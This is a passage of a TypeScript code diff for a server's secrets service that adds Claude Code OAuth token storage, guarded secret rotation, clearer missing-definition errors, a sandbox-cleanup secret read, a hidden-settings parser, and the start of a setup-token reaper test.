+// The unique index on (secretId, version). A concurrent rotation that inserts the
+// same next version first makes the loser's insert fail this constraint.
+const COMPANY_SECRET_VERSION_UNIQUE_CONSTRAINT = "company_secret_versions_secret_version_uq";
+// The one stale-rotation conflict text. The rotate function returns it for every
+// stale race, so the caller sees one fixed 409 and no owner-value state.
+const SECRET_VERSION_STALE_CONFLICT = "The secret version is stale. Reload and confirm the rotation again.";
+
+// The fixed Claude Code OAuth user-secret definition. The Claude login flow owns
+// only this compile-time key and these fixed properties. A caller never selects
+// the key, the name, the provider, the mode, or the status.
+const CLAUDE_CODE_OAUTH_TOKEN_KEY = "CLAUDE_CODE_OAUTH_TOKEN";
+const CLAUDE_CODE_OAUTH_DEFINITION = {
+  key: CLAUDE_CODE_OAUTH_TOKEN_KEY,
+  name: "Claude Code OAuth token",
+  provider: "local_encrypted",
+  managedMode: "paperclip_managed",
+  status: "active",
+} as const;
+// The fixed, non-secret conflict text. The helper returns it when a stored
+// definition for the fixed key does not match the fixed shape. The text echoes
+// no caller input.
+const CLAUDE_OAUTH_DEFINITION_CONFLICT =
+  "A conflicting Claude Code OAuth token definition already exists.";
+// The fixed, non-secret text for a stale confirmed rotation. The text is the
+// same for every stale reason, so it discloses no owner-value state.
+const CLAUDE_OAUTH_STALE_CONFIRMATION =
+  "The Claude login confirmation is stale. Reload the page and confirm again.";
+// The fixed, non-secret text for a first write that finds an existing value. The
+// caller must confirm a replacement to rotate it.
+const CLAUDE_OAUTH_VALUE_EXISTS =
+  "A Claude login value already exists. Confirm a replacement to rotate it.";
+// The metadata field that records the setup-token session id on the owner value.
+// It is the idempotency key for one completion. It is not a secret.
+const CLAUDE_OAUTH_SESSION_METADATA_FIELD = "claudeSetupTokenSessionId";
+
+/** The stored result of one owner-bound Claude OAuth completion. It holds no secret. */
+export interface ClaudeOAuthUserSecretResult {
+  secretId: string;
+  latestVersion: number;
+  definitionId: string;
+}
+
+// --- The server-enforced Claude OAuth binding invariant ------------
+
+/** The adapter that owns the fixed Claude Code OAuth token binding. */
+export const CLAUDE_LOCAL_ADAPTER_TYPE = "claude_local";
+
+// The one fixed, non-secret error for every rejected stored-session claim. The
+// text is byte-identical for a missing, foreign, cross-company, cross-owner,
+// cross-adapter, cross-environment, expired, non-stored, or already-consumed
+// claim, so a caller cannot tell the reasons apart.
+export const CLAUDE_OAUTH_CLAIM_REJECTED =
+  "The Claude login binding requires a valid stored-session claim.";
+
+// The generic credential-conflict text. It names no token value and no owner
+// configuration. It tells the caller only that a higher-priority credential is
+// configured together with the Claude login token.
+export const CLAUDE_OAUTH_CREDENTIAL_CONFLICT =
+  "A higher-priority Claude credential is configured. Remove it to use the Claude login token.";
+
+const ANTHROPIC_API_KEY_ENV = "ANTHROPIC_API_KEY";
+
+/** Reads the `env` record of an adapter config, or an empty record. */
+function readAdapterEnvRecord(config: unknown): Record<string, unknown> {
+  if (typeof config !== "object" || config === null || Array.isArray(config)) return {};
+  const env = (config as Record<string, unknown>).env;
+  if (typeof env !== "object" || env === null || Array.isArray(env)) return {};
+  return env as Record<string, unknown>;
+}
+
+/**
+ * Returns true when a binding is the exact fixed Claude Code OAuth user-secret
+ * reference. The fixed binding is a `user_secret_ref` whose key is the fixed
+ * key. Any other shape (a plain value, a company secret reference, or a
+ * different user-secret key) is a replacement or a weaker binding.
+ */
+export function isFixedClaudeOAuthBinding(binding: unknown): boolean {
+  if (typeof binding !== "object" || binding === null) return false;
+  const record = binding as Record<string, unknown>;
+  return record.type === "user_secret_ref" && record.key === CLAUDE_CODE_OAUTH_TOKEN_KEY;
+}
+
+/** True when the config carries the exact fixed OAuth binding. */
+function hasFixedClaudeOAuthBinding(config: unknown): boolean {
+  return isFixedClaudeOAuthBinding(readAdapterEnvRecord(config)[CLAUDE_CODE_OAUTH_TOKEN_KEY]);
+}
+
+/**
+ * Returns true when the config delivers a non-empty ANTHROPIC_API_KEY. A plain
+ * binding counts only when it has a non-empty value. A company or user secret
+ * reference always counts, because it resolves to a value at runtime.
+ */
+function hasAnthropicApiKeyCredential(config: unknown): boolean {
+  const binding = readAdapterEnvRecord(config)[ANTHROPIC_API_KEY_ENV];
+  if (typeof binding === "string") return binding.trim().length > 0;
+  if (typeof binding !== "object" || binding === null) return false;
+  const record = binding as Record<string, unknown>;
+  if (record.type === "plain") {
+    return typeof record.value === "string" && record.value.trim().length > 0;
+  }
+  return record.type === "secret_ref" || record.type === "user_secret_ref";
+}
+
+export interface ClaudeOAuthBindingInvariantInput {
+  /** The effective adapter type of the write. */
+  adapterType: string | null | undefined;
+  /** The normalized adapter config the write persists. */
+  nextConfig: unknown;
+  /** The stored adapter config before the write. Null on a create. */
+  priorConfig?: unknown;
+}
+
+export interface ClaudeOAuthBindingInvariantDecision {
+  /** True when the write adds the fixed binding that the prior config lacked. */
+  introducesBinding: boolean;
+  /** True when the write keeps an existing fixed binding unchanged. */
+  keepsBinding: boolean;
+}
+
+/**
+ * The Claude OAuth binding check. It runs after generic normalization and
+ * before every database write on a `claude_local` create, hire, update,
+ * approval activation, and configuration rollback path.
+ *
+ * The `CLAUDE_CODE_OAUTH_TOKEN` binding behaves like a normal environment
+ * variable. A normal write can remove the fixed binding, or re-point it to a
+ * plain value, a company-secret reference, or a different user-secret key. The
+ * function no longer locks a prior fixed binding against removal or replacement.
+ *
+ * A write to a non-claude_local adapter that has no prior fixed binding stays
+ * outside the Claude login flow. A prior fixed binding keeps the function active
+ * for the write, so the function still reports whether the write keeps that
+ * binding, independently of the destination adapter type.
+ *
+ * The precedence policy runs on every path: the fixed binding together with a
+ * non-empty ANTHROPIC_API_KEY is a conflict. The function rejects that conflict
+ * with a generic message that names no token value and no owner configuration.
+ *
+ * The function returns whether the write introduces the fixed binding or keeps
+ * an existing one. The create and hire paths consume a stored-session claim when
+ * the write introduces the binding. The update, approval, and rollback paths
+ * reject a newly introduced binding, because they carry no claim.
+ */
+export function assertClaudeOAuthBindingInvariant(
+  input: ClaudeOAuthBindingInvariantInput,
+): ClaudeOAuthBindingInvariantDecision {
+  const isClaudeLocal = input.adapterType === CLAUDE_LOCAL_ADAPTER_TYPE;
+  const nextIsFixed = hasFixedClaudeOAuthBinding(input.nextConfig);
+  const priorIsFixed = hasFixedClaudeOAuthBinding(input.priorConfig);
+
+  // A write to a non-claude_local adapter that has no prior fixed binding is a
+  // normal non-Claude configuration. It stays outside the Claude login flow. A
+  // prior fixed binding always keeps the function active, so a write still
+  // reports the binding state after a move to another adapter type.
+  if (!isClaudeLocal && !priorIsFixed) {
+    return { introducesBinding: false, keepsBinding: false };
+  }
+
+  if (nextIsFixed && hasAnthropicApiKeyCredential(input.nextConfig)) {
+    throw new HttpError(409, CLAUDE_OAUTH_CREDENTIAL_CONFLICT, {
+      code: "claude_oauth_credential_conflict",
+    });
+  }
+  return {
+    introducesBinding: nextIsFixed && !priorIsFixed,
+    keepsBinding: nextIsFixed && priorIsFixed,
+  };
+}
+
+/** The fixed error the create and hire paths raise for a rejected claim. */
+export function claudeOAuthClaimRejectedError(): HttpError {
+  return new HttpError(409, CLAUDE_OAUTH_CLAIM_REJECTED, { code: "claude_oauth_claim_rejected" });
+}
+
 type DbTransaction = Parameters<Parameters<Db["transaction"]>[0]>[0];
 type SecretBindingDb = Pick<Db | DbTransaction, "select" | "delete" | "insert">;
 
@@ -624,7 +802,9 @@ function secretResolutionErrorCode(error: unknown): SecretResolutionErrorCode {
     if (error.message === "Responsible user is required for user secret resolution") {
       return "responsible_user_missing";
     }
-    if (error.message === "User secret definition not found") return "user_secret_definition_missing";
+    if (error.message.startsWith("User secret definition not found")) {
+      return "user_secret_definition_missing";
+    }
     if (error.message === "User secret definition is not active") return "user_secret_definition_inactive";
     if (error.message === "User-scoped secrets must be resolved through user secret declarations") {
       return "secret_scope_invalid";
@@ -682,6 +862,47 @@ function missingUserSecretDefinitionRuntimeBinding(
   };
 }
 
+// A direct-resolution path (Test or save) resolves one user-secret binding at a
+// time. When the definition is gone, this builder names the environment
+// variable, the consumer, and the unresolved definition so the actor can find
+// the dangling binding. The message keeps the exact "User secret definition not
+// found" prefix so `secretResolutionErrorCode` still maps it to
+// `user_secret_definition_missing`. It never includes a secret value.
+type UserSecretDefinitionResolutionContext = {
+  envKey?: string | null;
+  configPath?: string | null;
+  consumerType?: string | null;
+  consumerId?: string | null;
+};
+
+function envKeyFromConfigPath(configPath?: string | null): string | null {
+  if (!configPath) return null;
+  const separatorIndex = configPath.lastIndexOf(".");
+  const key = separatorIndex >= 0 ? configPath.slice(separatorIndex + 1) : configPath;
+  return key.length > 0 ? key : null;
+}
+
+const BASE_USER_SECRET_DEFINITION_NOT_FOUND_MESSAGE = "User secret definition not found";
+
+function userSecretDefinitionNotFoundMessage(
+  input: { definitionId?: string | null; definitionKey?: string | null },
+  context?: UserSecretDefinitionResolutionContext,
+): string {
+  const parts: string[] = [];
+  const envKey = context?.envKey ?? envKeyFromConfigPath(context?.configPath);
+  if (envKey) parts.push(`environment variable "${envKey}"`);
+  if (context?.consumerId) {
+    parts.push(`${context.consumerType ?? "consumer"} ${context.consumerId}`);
+  }
+  if (input.definitionKey) {
+    parts.push(`definition key "${input.definitionKey}"`);
+  } else if (input.definitionId) {
+    parts.push(`definition id "${input.definitionId}"`);
+  }
+  if (parts.length === 0) return BASE_USER_SECRET_DEFINITION_NOT_FOUND_MESSAGE;
+  return `${BASE_USER_SECRET_DEFINITION_NOT_FOUND_MESSAGE} for ${parts.join(", ")}`;
+}
+
 function assertSelectableProviderConfig(config: {
   provider: string;
   status: string;
@@ -779,6 +1000,7 @@ export function secretService(db: Db) {
     companyId: string,
     input: { definitionId?: string | null; definitionKey?: string | null },
     source: Pick<Db | DbTransaction, "select"> = db,
+    context?: UserSecretDefinitionResolutionContext,
   ) {
     const definition = input.definitionId
       ? await getUserSecretDefinitionById(companyId, input.definitionId, source)
@@ -786,7 +1008,7 @@ export function secretService(db: Db) {
         ? await getUserSecretDefinitionByKey(companyId, input.definitionKey, source)
         : null;
     if (!definition || definition.deletedAt || definition.status === "deleted") {
-      throw notFound("User secret definition not found");
+      throw notFound(userSecretDefinitionNotFoundMessage(input, context));
     }
     if (definition.companyId !== companyId) {
       throw unprocessable("User secret definition must belong to same company");
@@ -1248,6 +1470,44 @@ export function secretService(db: Db) {
     })).value;
   }
 
+  // Resolve a connection secret for a durable orphan-sandbox teardown.
+  //
+  // The retry destroys a remote sandbox that a failed acquire left allocated.
+  // The teardown needs the same connection secret the acquire used. But the
+  // environment binding may be gone: a delete removed the environment, or a
+  // provider change replaced the binding. So this path authorizes the read from
+  // the durable `pending_cleanup` lease row, not from the environment binding,
+  // and it never checks the binding. The caller passes only a secret id that the
+  // durable row recorded, so the scope stays narrow. The resolution records an
+  // access event for audit, and the value never enters lease metadata.
+  async function resolveSecretValueForSandboxCleanup(
+    companyId: string,
+    secretId: string,
+    version: number | "latest",
+    context: {
+      configPath: string;
+      issueId?: string | null;
+      heartbeatRunId?: string | null;
+    },
+  ): Promise<string> {
+    return (
+      await resolveSecretValueInternal(companyId, secretId, version, {
+        // Audit-only access context. No `bindingContext`, so the resolver never
+        // asserts the environment binding that a delete or a provider change may
+        // have removed.
+        accessContext: {
+          consumerType: "system",
+          consumerId: SANDBOX_CLEANUP_CONSUMER_ID,
+          actorType: "system",
+          actorId: null,
+          configPath: context.configPath,
+          issueId: context.issueId ?? null,
+          heartbeatRunId: context.heartbeatRunId ?? null,
+        },
+      })
+    ).value;
+  }
+
   async function resolveSecretValueForAgentAccess(
     companyId: string,
     secretId: string,
@@ -2243,6 +2503,218 @@ export function secretService(db: Db) {
     }
   }
 
+  // --- Claude Code OAuth login: narrow definition and owner-bound write -------
+
+  type UserSecretDefinitionRow = typeof userSecretDefinitions.$inferSelect;
+  type CompanySecretRow = typeof companySecrets.$inferSelect;
+
+  /** True only when a stored definition matches the fixed Claude OAuth shape. */
+  function isCompatibleClaudeOAuthDefinition(definition: UserSecretDefinitionRow) {
+    return (
+      definition.key === CLAUDE_CODE_OAUTH_DEFINITION.key &&
+      definition.name === CLAUDE_CODE_OAUTH_DEFINITION.name &&
+      definition.provider === CLAUDE_CODE_OAUTH_DEFINITION.provider &&
+      definition.managedMode === CLAUDE_CODE_OAUTH_DEFINITION.managedMode &&
+      definition.status === CLAUDE_CODE_OAUTH_DEFINITION.status
+    );
+  }
+
+  /** Reads the recorded setup-token session id from an owner value, or null. */
+  function readClaudeOAuthSessionId(secret: CompanySecretRow): string | null {
+    const metadata = secret.providerMetadata;
+    if (!metadata || typeof metadata !== "object") return null;
+    const value = (metadata as Record<string, unknown>)[CLAUDE_OAUTH_SESSION_METADATA_FIELD];
+    return typeof value === "string" ? value : null;
+  }
+
+  /** Records the setup-token session id on the owner value. Not a secret. */
+  async function stampClaudeOAuthSessionId(
+    secret: CompanySecretRow,
+    sessionId: string,
+  ): Promise<CompanySecretRow> {
+    const nextMetadata: Record<string, unknown> = {
+      ...(secret.providerMetadata ?? {}),
+      [CLAUDE_OAUTH_SESSION_METADATA_FIELD]: sessionId,
+    };
+    return db
+      .update(companySecrets)
+      .set({ providerMetadata: nextMetadata, updatedAt: new Date() })
+      .where(eq(companySecrets.id, secret.id))
+      .returning()
+      .then((rows) => rows[0] ?? secret);
+  }
+
+  function toClaudeOAuthResult(secret: CompanySecretRow): ClaudeOAuthUserSecretResult {
+    return {
+      secretId: secret.id,
+      latestVersion: secret.latestVersion,
+      definitionId: secret.userSecretDefinitionId ?? "",
+    };
+  }
+
+  /**
+   * Ensures the fixed Claude Code OAuth user-secret definition for a company. The
+   * helper accepts no key, name, provider, mode, or status from a caller. It
+   * reads the existing definition by the company and the fixed key. It returns an
+   * exact compatible definition. It rejects a conflicting definition with 409 and
+   * does not mutate it. After a uniqueness conflict it re-reads the row and
+   * compares the fixed fields before it returns.
+   */
+  async function ensureClaudeOAuthUserSecretDefinitionInternal(
+    companyId: string,
+    actor?: { userId?: string | null; agentId?: string | null },
+  ): Promise<UserSecretDefinitionRow> {
+    const existing = await getUserSecretDefinitionByKey(companyId, CLAUDE_CODE_OAUTH_DEFINITION.key);
+    if (existing) {
+      if (!isCompatibleClaudeOAuthDefinition(existing)) {
+        throw conflict(CLAUDE_OAUTH_DEFINITION_CONFLICT);
+      }
+      return existing;
+    }
+    try {
+      return await db
+        .insert(userSecretDefinitions)
+        .values({
+          companyId,
+          key: CLAUDE_CODE_OAUTH_DEFINITION.key,
+          name: CLAUDE_CODE_OAUTH_DEFINITION.name,
+          description: null,
+          status: CLAUDE_CODE_OAUTH_DEFINITION.status,
+          provider: CLAUDE_CODE_OAUTH_DEFINITION.provider,
+          providerConfigId: null,
+          managedMode: CLAUDE_CODE_OAUTH_DEFINITION.managedMode,
+          providerMetadata: null,
+          usageGuidance: null,
+          createdByAgentId: actor?.agentId ?? null,
+          createdByUserId: actor?.userId ?? null,
+          updatedByAgentId: actor?.agentId ?? null,
+          updatedByUserId: actor?.userId ?? null,
+        })
+        .returning()
+        .then((rows) => rows[0]);
+    } catch (error) {
+      if (isUniqueConstraintViolation(error, USER_SECRET_DEFINITION_KEY_UNIQUE_CONSTRAINT)) {
+        // A concurrent create won the race. Re-read and compare the fixed fields.
+        const raced = await getUserSecretDefinitionByKey(companyId, CLAUDE_CODE_OAUTH_DEFINITION.key);
+        if (raced && isCompatibleClaudeOAuthDefinition(raced)) return raced;
+        throw conflict(CLAUDE_OAUTH_DEFINITION_CONFLICT);
+      }
+      throw error;
+    }
+  }
+
+  /**
+   * The owner-bound compare-and-set for the Claude Code OAuth value. It has two
+   * modes. `first_write` creates a value only when no owner value exists.
+   * `confirmed_rotation` rotates only after confirmation with the expected secret
+   * id and the expected latest version. The session id is the idempotency key: a
+   * repeated successful completion returns the stored result and creates no new
+   * version.
+   */
+  async function completeClaudeOAuthUserSecretInternal(
+    companyId: string,
+    ownerUserId: string,
+    input: {
+      sessionId: string;
+      mode: "first_write" | "confirmed_rotation";
+      value: string;
+      expectedSecretId?: string | null;
+      expectedLatestVersion?: number | null;
+    },
+    actor?: { userId?: string | null; agentId?: string | null },
+  ): Promise<ClaudeOAuthUserSecretResult> {
+    const sessionId = input.sessionId?.trim();
+    if (!sessionId) throw unprocessable("A Claude login session id is required");
+    const value = input.value?.trim();
+    if (!value) throw unprocessable("A Claude login token value is required");
+
+    const definition = await ensureClaudeOAuthUserSecretDefinitionInternal(companyId, actor);
+
+    // Idempotency: a prior successful completion for this session returns the
+    // stored result and creates no new version.
+    const existing = await getUserSecretValue({ companyId, ownerUserId, definitionId: definition.id });
+    if (existing && readClaudeOAuthSessionId(existing) === sessionId) {
+      return toClaudeOAuthResult(existing);
+    }
+
+    if (input.mode === "first_write") {
+      if (existing) throw conflict(CLAUDE_OAUTH_VALUE_EXISTS);
+      let created: CompanySecretRow;
+      try {
+        created = await createUserSecretValueInternal(
+          companyId,
+          ownerUserId,
+          { definitionId: definition.id, value },
+          actor,
+        );
+      } catch (error) {
+        // Two concurrent first writes race the partial unique index. Re-read and
+        // return the stored result only when this session already won.
+        if (error instanceof HttpError && error.status === 409) {
+          const raced = await getUserSecretValue({ companyId, ownerUserId, definitionId: definition.id });
+          if (raced && readClaudeOAuthSessionId(raced) === sessionId) {
+            return toClaudeOAuthResult(raced);
+          }
+        }
+        throw error;
+      }
+      const stamped = await stampClaudeOAuthSessionId(created, sessionId);
+      return toClaudeOAuthResult(stamped);
+    }
+
+    // confirmed_rotation.
+    if (!input.expectedSecretId || input.expectedLatestVersion == null) {
+      throw unprocessable("A confirmed rotation requires expectedSecretId and expectedLatestVersion");
+    }
+    // The owner-scoped lookup fails closed for a cross-owner or cross-company id.
+    const current = await getUserSecretValueById(companyId, ownerUserId, input.expectedSecretId);
+    if (current.userSecretDefinitionId !== definition.id) {
+      throw notFound("User secret value not found");
+    }
+    if (current.latestVersion !== input.expectedLatestVersion) {
+      throw conflict(CLAUDE_OAUTH_STALE_CONFIRMATION);
+    }
+    let rotated: CompanySecretRow;
+    try {
+      rotated = await secretService(db).rotate(
+        current.id,
+        { value, expectedLatestVersion: input.expectedLatestVersion },
+        actor,
+      );
+    } catch (error) {
+      if (error instanceof HttpError && error.status === 409) {
+        // A concurrent rotation bumped the version between the read and the
+        // predicate. Return the same fixed stale-confirmation conflict.
+        throw conflict(CLAUDE_OAUTH_STALE_CONFIRMATION);
+      }
+      throw error;
+    }
+    const stamped = await stampClaudeOAuthSessionId(rotated, sessionId);
+    return toClaudeOAuthResult(stamped);
+  }
+
+  /**
+   * Reads the stored Claude Code OAuth value metadata for one owner. It returns
+   * only the secret id and the latest version, never the token. The client uses
+   * the version as the expected version of a later confirmed rotation.
+   *
+   * The reader derives no definition, no owner, and no secret id from a caller.
+   * It reads the fixed definition by the company and the fixed key. It reads the
+   * value by the company, the owner, and that definition. It returns null when no
+   * definition or no owner value exists, so a foreign value and a missing value
+   * look the same to the caller. It never creates the definition.
+   */
+  async function readClaudeOAuthUserSecretStatusInternal(
+    companyId: string,
+    ownerUserId: string,
+  ): Promise<{ secretId: string; latestVersion: number } | null> {
+    const definition = await getUserSecretDefinitionByKey(companyId, CLAUDE_CODE_OAUTH_DEFINITION.key);
+    if (!definition || !isCompatibleClaudeOAuthDefinition(definition)) return null;
+    const existing = await getUserSecretValue({ companyId, ownerUserId, definitionId: definition.id });
+    if (!existing) return null;
+    return { secretId: existing.id, latestVersion: existing.latestVersion };
+  }
+
   async function removeSecretInternal(secretId: string) {
     const secret = await getById(secretId);
     if (!secret) return null;
@@ -2821,6 +3293,25 @@ export function secretService(db: Db) {
 
     createCurrentUserSecretValue: createUserSecretValueInternal,
 
+    // The narrow Claude Code OAuth definition helper. A caller passes
+    // no key, name, provider, mode, or status. The route calls it only after the
+    // authenticated board-user, company, and sandbox checks pass.
+    ensureClaudeOAuthUserSecretDefinition: (
+      companyId: string,
+      actor?: { userId?: string | null; agentId?: string | null },
+    ) => ensureClaudeOAuthUserSecretDefinitionInternal(companyId, actor),
+
+    // The owner-bound Claude Code OAuth compare-and-set. It creates a
+    // first value or rotates after a confirmed expected version. The session id
+    // is the idempotency key for one completion.
+    completeClaudeOAuthUserSecret: completeClaudeOAuthUserSecretInternal,
+
+    // The owner-bound Claude Code OAuth status read. It returns only
+    // the secret id and the latest version for the owner value, or null. It never
+    // returns the token and never creates the definition. The status route reads
+    // the expected version from it before it captures the confirmed rotation.
+    readClaudeOAuthUserSecretStatus: readClaudeOAuthUserSecretStatusInternal,
+
     rotateCurrentUserSecretValue: async (
       companyId: string,
       ownerUserId: string,
@@ -2916,6 +3407,12 @@ export function secretService(db: Db) {
           companyId,
           { definitionKey: ref.definitionKey },
           targetDb,
+          {
+            envKey: ref.envKey,
+            configPath: ref.configPath,
+            consumerType: target.targetType,
+            consumerId: target.targetId,
+          },
         );
         normalizedRefs.push({
           definitionId: definition.id,
@@ -2989,7 +3486,11 @@ export function secretService(db: Db) {
       const optionalBinding = input.allowMissingOverride || input.required === false;
       let definition: typeof userSecretDefinitions.$inferSelect;
       try {
-        definition = await resolveUserSecretDefinition(companyId, input);
+        definition = await resolveUserSecretDefinition(companyId, input, db, {
+          configPath: context?.configPath ?? null,
+          consumerType: context?.consumerType ?? null,
+          consumerId: context?.consumerId ?? null,
+        });
       } catch (error) {
         if (optionalBinding && error instanceof HttpError && error.status === 404) return null;
         throw error;
@@ -3370,6 +3871,7 @@ export function secretService(db: Db) {
     resolveSecretValueForAgentAccess,
     listAgentSecretAccess,
     resolveSecretValueForEphemeralAccess,
+    resolveSecretValueForSandboxCleanup,
 
     create: async (
       companyId: string,
@@ -3591,12 +4093,19 @@ export function secretService(db: Db) {
         externalRef?: string | null;
         providerVersionRef?: string | null;
         providerConfigId?: string | null;
+        // The optional owner-bound compare-and-set guard. When set, the final
+        // update matches the latest version, so a concurrent rotation between the
+        // read and the write cannot pass. A mismatch throws a 409 conflict.
+        expectedLatestVersion?: number;
       },
       actor?: { userId?: string | null; agentId?: string | null },
     ) => {
       const secret = await getById(secretId);
       if (!secret) throw notFound("Secret not found");
       if (secret.status !== "active") throw unprocessable("Cannot rotate a non-active secret");
+      if (input.expectedLatestVersion !== undefined && secret.latestVersion !== input.expectedLatestVersion) {
+        throw conflict(SECRET_VERSION_STALE_CONFLICT);
+      }
       const providerId = secret.provider as SecretProvider;
       const provider = getSecretProvider(providerId);
       const providerConfigId =
@@ -3698,6 +4207,17 @@ export function secretService(db: Db) {
             operation: "rotate.prepare_rollback",
           });
         }
+        // A guarded concurrent rotation inserted the same next version first, so
+        // this insert fails the (secretId, version) unique index. The loser never
+        // reaches the compare-and-set guard below. Normalize only that one
+        // collision to the same stale conflict, so a guarded rotation always
+        // returns one fixed 409. Re-throw every other error unchanged.
+        if (
+          input.expectedLatestVersion !== undefined &&
+          isUniqueConstraintViolation(error, COMPANY_SECRET_VERSION_UNIQUE_CONSTRAINT)
+        ) {
+          throw conflict(SECRET_VERSION_STALE_CONFLICT);
+        }
         throw error;
       }
 
@@ -3727,11 +4247,25 @@ export function secretService(db: Db) {
               lastRotatedAt: new Date(),
               updatedAt: new Date(),
             })
-            .where(eq(companySecrets.id, secret.id))
+            .where(and(
+              eq(companySecrets.id, secret.id),
+              // The compare-and-set guard. It matches the latest version, so a
+              // concurrent rotation that already bumped it fails this predicate.
+              input.expectedLatestVersion === undefined
+                ? undefined
+                : eq(companySecrets.latestVersion, input.expectedLatestVersion),
+            ))
             .returning()
             .then((rows) => rows[0] ?? null);
 
-          if (!updated) throw notFound("Secret not found");
+          if (!updated) {
+            // The predicate matched no row. A supplied expected version means a
+            // concurrent rotation won the race; return the stale conflict. An
+            // unguarded rotation means the secret is gone.
+            throw input.expectedLatestVersion === undefined
+              ? notFound("Secret not found")
+              : conflict(SECRET_VERSION_STALE_CONFLICT);
+          }
           return updated;
         });
       } catch (error) {
@@ -4209,7 +4743,12 @@ export function secretService(db: Db) {
         if (!parsed.success) continue;
         const binding = canonicalizeBinding(parsed.data as EnvBinding);
         if (binding.type === "user_secret_ref") {
-          await resolveUserSecretDefinition(companyId, { definitionKey: binding.key }, bindingDb);
+          await resolveUserSecretDefinition(companyId, { definitionKey: binding.key }, bindingDb, {
+            envKey: key,
+            configPath: `${pathPrefix}.${key}`,
+            consumerType: target.targetType,
+            consumerId: target.targetId,
+          });
           userRefs.push({
             definitionKey: binding.key,
             configPath: `${pathPrefix}.${key}`,
@@ -4279,7 +4818,17 @@ export function secretService(db: Db) {
         if (userRefs.length === 0) return;
         const definitions = new Map<string, string>();
         for (const ref of userRefs) {
-          const definition = await resolveUserSecretDefinition(companyId, { definitionKey: ref.definitionKey }, targetDb);
+          const definition = await resolveUserSecretDefinition(
+            companyId,
+            { definitionKey: ref.definitionKey },
+            targetDb,
+            {
+              envKey: ref.envKey,
+              configPath: ref.configPath,
+              consumerType: target.targetType,
+              consumerId: target.targetId,
+            },
+          );
           definitions.set(ref.definitionKey, definition.id);
         }
         await targetDb.insert(userSecretDeclarations).values(
diff --git a/server/src/services/settings-visibility.ts b/server/src/services/settings-visibility.ts
new file mode 100644
index 00000000000..76ad0e83f4c
--- /dev/null
+++ b/server/src/services/settings-visibility.ts
@@ -0,0 +1,37 @@
+import { parseHiddenSettingsList } from "@paperclipai/shared";
+import { logger } from "../middleware/logger.js";
+
+/**
+ * Operator-hidden settings, from the `PAPERCLIP_HIDDEN_SETTINGS` env var
+ * (comma-separated keys from the shared settings-visibility registry). Unknown
+ * keys are warned about once and ignored so one list can be rolled across a
+ * fleet of mixed app versions without refusing boot on older images.
+ */
+export const HIDDEN_SETTINGS_ENV_KEY = "PAPERCLIP_HIDDEN_SETTINGS";
+
+export type HiddenSettingsEnv = Record<string, string | undefined>;
+
+let cache: { raw: string | undefined; hidden: ReadonlySet<string> } | null = null;
+
+/**
+ * Parse-once accessor keyed on the raw env value. Callers that pass a custom
+ * env (tests) get a fresh parse whenever the raw value differs; process.env
+ * callers share one parsed set for the process lifetime. Members are always
+ * `HideableSettingKey`s; typed as strings so route code can probe with
+ * computed `instance.*` keys.
+ */
+export function getHiddenSettings(
+  env: HiddenSettingsEnv = process.env,
+): ReadonlySet<string> {
+  const raw = env[HIDDEN_SETTINGS_ENV_KEY];
+  if (cache && cache.raw === raw) return cache.hidden;
+  const { hidden, unknown } = parseHiddenSettingsList(raw);
+  if (unknown.length > 0) {
+    logger.warn(
+      { unknownKeys: unknown },
+      `${HIDDEN_SETTINGS_ENV_KEY} contains unknown keys; they are ignored`,
+    );
+  }
+  cache = { raw, hidden: new Set(hidden) };
+  return cache.hidden;
+}
diff --git a/server/src/services/setup-token-reaper.test.ts b/server/src/services/setup-token-reaper.test.ts
new file mode 100644
index 00000000000..e74ee4acd3c
--- /dev/null
+++ b/server/src/services/setup-token-reaper.test.ts
@@ -0,0 +1,145 @@
+import { describe, expect, it } from "vitest";
+import { createSetupTokenReaper } from "./setup-token-reaper.js";
+import {
+  isTerminalSessionState,
+  type SetupTokenCleanupIdentity,
+  type SetupTokenCleanupRecord,
+} from "./setup-token-session.js";
+
+const NOW = 5_000;
+
+// An in-memory reaper store. The test seeds records directly, so no database
+// runs. The `listReapable` predicate mirrors the production store: a record is
+// reapable when its session is terminal, its deadline is past, or its claim is
+// already consumed.
+function createMemoryStore() {
+  const rows = new Map<string, SetupTokenCleanupRecord>();
+  const matches = (row: SetupTokenCleanupRecord, identity: SetupTokenCleanupIdentity) =>
+    row.companyId === identity.companyId &&
+    row.ownerUserId === identity.ownerUserId &&
+    row.adapterType === identity.adapterType;
+  return {
+    rows,
+    seed(record: Partial<SetupTokenCleanupRecord> & Pick<SetupTokenCleanupRecord, "sessionId" | "leaseId">) {
+      const row: SetupTokenCleanupRecord = {
+        sessionId: record.sessionId,
+        companyId: record.companyId ?? "company-1",
+        ownerUserId: record.ownerUserId ?? "user-1",
+        adapterType: record.adapterType ?? "claude_local",
+        environmentId: record.environmentId ?? "env-1",
+        leaseId: record.leaseId,
+        deadline: record.deadline ?? 1_000,
+        state: record.state ?? "failed",
+        boundAt: record.boundAt ?? null,
+      };
+      rows.set(row.sessionId, row);
+      return row;
+    },
+    async listReapable(now: number): Promise<SetupTokenCleanupRecord[]> {
+      return [...rows.values()].filter(
+        (row) => isTerminalSessionState(row.state) || row.deadline <= now || row.boundAt !== null,
+      );
+    },
+    async remove(identity: SetupTokenCleanupIdentity): Promise<void> {
+      const row = rows.get(identity.sessionId);
+      if (row && matches(row, identity)) rows.delete(identity.sessionId);
+    },
+  };
+}
+
+interface FakeLeasesOptions {
+  releaseImpl?: (leaseId: string) => Promise<void>;
+}
+
+function createFakeLeases(opts: FakeLeasesOptions = {}) {
+  const releaseByIdCalls: string[] = [];
+  return {
+    releaseByIdCalls,
+    async releaseById(leaseId: string): Promise<void> {
+      releaseByIdCalls.push(leaseId);
+      if (opts.releaseImpl) await opts.releaseImpl(leaseId);
+    },
+  };
+}
+
+describe("setup-token reaper", () => {
+  it("releases the lease and removes the record for a reapable session", async () => {
+    // A prior process crashed with a live record and a lease.
+    const store = createMemoryStore();
+    store.seed({ sessionId: "orphan-1", leaseId: "lease-orphan", state: "awaiting_code", deadline: 1_000 });
+    const leases = createFakeLeases();
+    const reaper = createSetupTokenReaper({ store, leases, now: () => NOW });
+
+    const result = await reaper.sweep();
+
+    expect(result.released).toBe(1);
+    expect(result.failed).toBe(0);
+    expect(leases.releaseByIdCalls).toEqual(["lease-orphan"]);
+    expect(store.rows.size).toBe(0);
+  });
+
+  it("holds a live, unexpired, unconsumed record and never releases its lease", async () => {
+    const store = createMemoryStore();
+    store.seed({
+      sessionId: "live-1",
+      leaseId: "lease-live",
+      state: "awaiting_code",
+      // The deadline is in the future and the claim is not consumed.
+      deadline: NOW + 60_000,
+      boundAt: null,
+    });
